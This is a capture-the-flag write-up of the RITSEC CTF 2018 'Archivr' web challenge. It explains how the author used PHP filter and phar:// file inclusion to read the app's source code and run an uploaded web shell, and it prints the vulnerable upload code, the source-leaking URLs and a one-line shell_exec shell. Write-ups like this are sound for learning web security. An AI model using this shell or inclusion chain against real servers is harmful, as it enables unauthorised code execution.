RITSEC CTF 2018 - Archivr 300 (Web)

- 8 mins

After completing the LazyDev web challenge which was worth an easy 400 points, I thought Archivr would be a walk in the park because it is worth 300 points. Surprise, surprise! It wasn’t.


When visiting the URL at http://fun.ritsec.club:8004 we are welcomed with the Archivr home page:

After browsing around for features and checking the source code, we can notice that PHP is running. By uploading random files to test the app’s behavior I discovered a few important limitations:

  1. A check is preventing PHP extensions from being uploaded in any form (mixed-case, capital, alphanumeric like php5)
  2. Null bytes are not working
  3. File name is converted to the time of the upload in epoch format (e.g.: 1542565647.txt)
  4. We can upload a lot of different files with extensions like pht, phtml, html and zip files
  5. File content and Content-Type is not checked so we could have a .png with PHP code in it
  6. Files with no extensions or with a PHP extension get converted to a .dat extension
  7. Files larger than 5KB are not accepted
  8. Files uploaded are automatically deleted in less than 2 minutes

When a valid file is uploaded, we are given a retrieval key to download it again (e.g.: 1542565647.txt)

When we try to download the file using our key, the file is not reflected in the web page. Its Content-Disposition is attachment so we cannot upload a malicious file and force the server to execute it.

Filter all the things

Looking at the URL, we can notice the page parameter. Could there be an LFI or RFI?


After a few tries, I was able to extract the application’s source code by using the PHP filter wrapper. However, there is a restriction on the file type : we can only extract files that have a php extension.

I tried bypassing the extension to read other files by using path truncation and null bytes to no avail.

So now, we can read the source code to get a better understanding of what’s going on behind the scenes.

  1. http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=home
  2. http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index
  3. http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=upload
  4. http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=download

Is this what they call code review?

Once base64 decoded, we see that the upload.php code takes our uploaded file and does a few magical things before we can download it:

  1. Checks for the file size (max 5KB)
  2. Sets the upload directory based on the MD5 value of the client IP $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";
  3. Sets the filename based on the time() function
  4. Checks for the file extension
  5. Creates the file name by calculating the MD5 of the time() and appending the extension
    $upload_path = $upload_dir . md5($upload_time) . $ext;
  6. Generates the retrieval key for us with the time() and extension (e.g.: 1542568865.png)


    if ($_FILES['upload']['size'] > 5000) { //max 5KB
        die("File too large!");
    $filename = $_FILES['upload']['name'];

    $upload_time = time();
    $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

    $ext = "";
    if (strpos($filename, '.') !== false) {
        $f_ext = explode(".", $filename)[1];
        if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
            $ext = "." . $f_ext;
        } else {
            $ext = ".dat";
    } else {
        $ext = ".dat";

    $upload_path = $upload_dir . md5($upload_time) . $ext;
    mkdir($upload_dir, 0770, true);

    //Enforce maximum of 10 files
    $dir = new DirLister($upload_dir);
    if ($dir->getCount() >= 10) {
        unlink($upload_dir . $dir->getOldestFile());

    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
    $key = $upload_time . $ext;

The download.php code waits for our retrieval key and calculates the MD5 value of the time part (e.g.: md5("1542568865")). Then it fetches the file and lets us download it. Simple, right?


    $key = $_POST['key'];

    if (strpos($key, '.') !== false) {
        $key_parts = explode(".", $key);
        $hashed_key = md5(intval($key_parts[0])) . "." . $key_parts[1];

        $path = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/" . $hashed_key;
        if (file_exists($path)) {
            header("Content-Disposition: attachment; filename=\"" . $key . "\"");
        } else {
            $error = "File not found!";
    } else {
        $error = "Invalid key!";

The file inclusion happens in the home.php code as seen below:


include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");

So, now we know the app checks for our public IP, calculates its MD5 value and creates a directory for us containing the files we upload.
$upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

Hint plz

After trying to access my uploads in the the /uploads/md5(MY_PUBLIC_IP)/ directory, I would always get a 404 not found. This is where I spent many hours trying to figure out how I could reach the files that were uploaded. Until a hint was given by the challenge authors : Reverse Proxy

By doing some research, I stumbled upon a few blogs and questions from people who would get the reverse proxy’s IP in their web server logs instead of the visitor’s when using $_SERVER['REMOTE_ADDR'].


How the hell can I find the reverse proxy’s IP?…After many hours Googling and testing, I realized what I could do is leverage the RCE I had from another challenge, that was hosted on the same web server but different port, to find out the reverse proxy’s IP.

I exploited the LazyDev challenge php://input RCE to echo the REMOTE_ADDR value which was:

By calculating the MD5 of the IP, we get 98d3cbed97b0bc491c000455c9f8e6fb which should be the directory where all the files are uploaded. Visiting the /uploads/98d3cbed97b0bc491c000455c9f8e6fb/ directory gives us some hope by telling us that it is the right directory but a forbidden one:

Do you even phar bro?

Trying to access the files we previously uploaded is a no go. After a few hours of testing, I decided to take a break and think of the challenge from a different perspective. I was curious to learn about some LFI techniques that I’ve never used before so I started searching and found out about the phar:// stream wrapper which stands for PHP Archive. The challenge’s name is Archivr. Could this be a sign?

  1. I created a PHP file named hello.php containing
    <?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>
  2. I zipped the file as test.zip
  3. Uploaded the file using the upload feature

The app gives us the retrieval key, so I wrote a quick PHP script based on the original download.php to find the uploaded file quickly since it is MD5’ed on the web server:

$key = "1542494671.zip"; //here we replace the value with the retrieval key
$key_parts = explode(".", $key);
$hashed_key = md5(intval($key_parts[0])) . "." . $key_parts[1];
$path = "uploads/" . md5("") . "/" . $hashed_key;
echo $path;

Then we leverage the LFI with the phar wrapper to access our zip file:


There is a flag in there so we run the command cat *_flag.txt and voilà:




Just a guy who enjoys coffee and breaking things

rss facebook twitter github youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora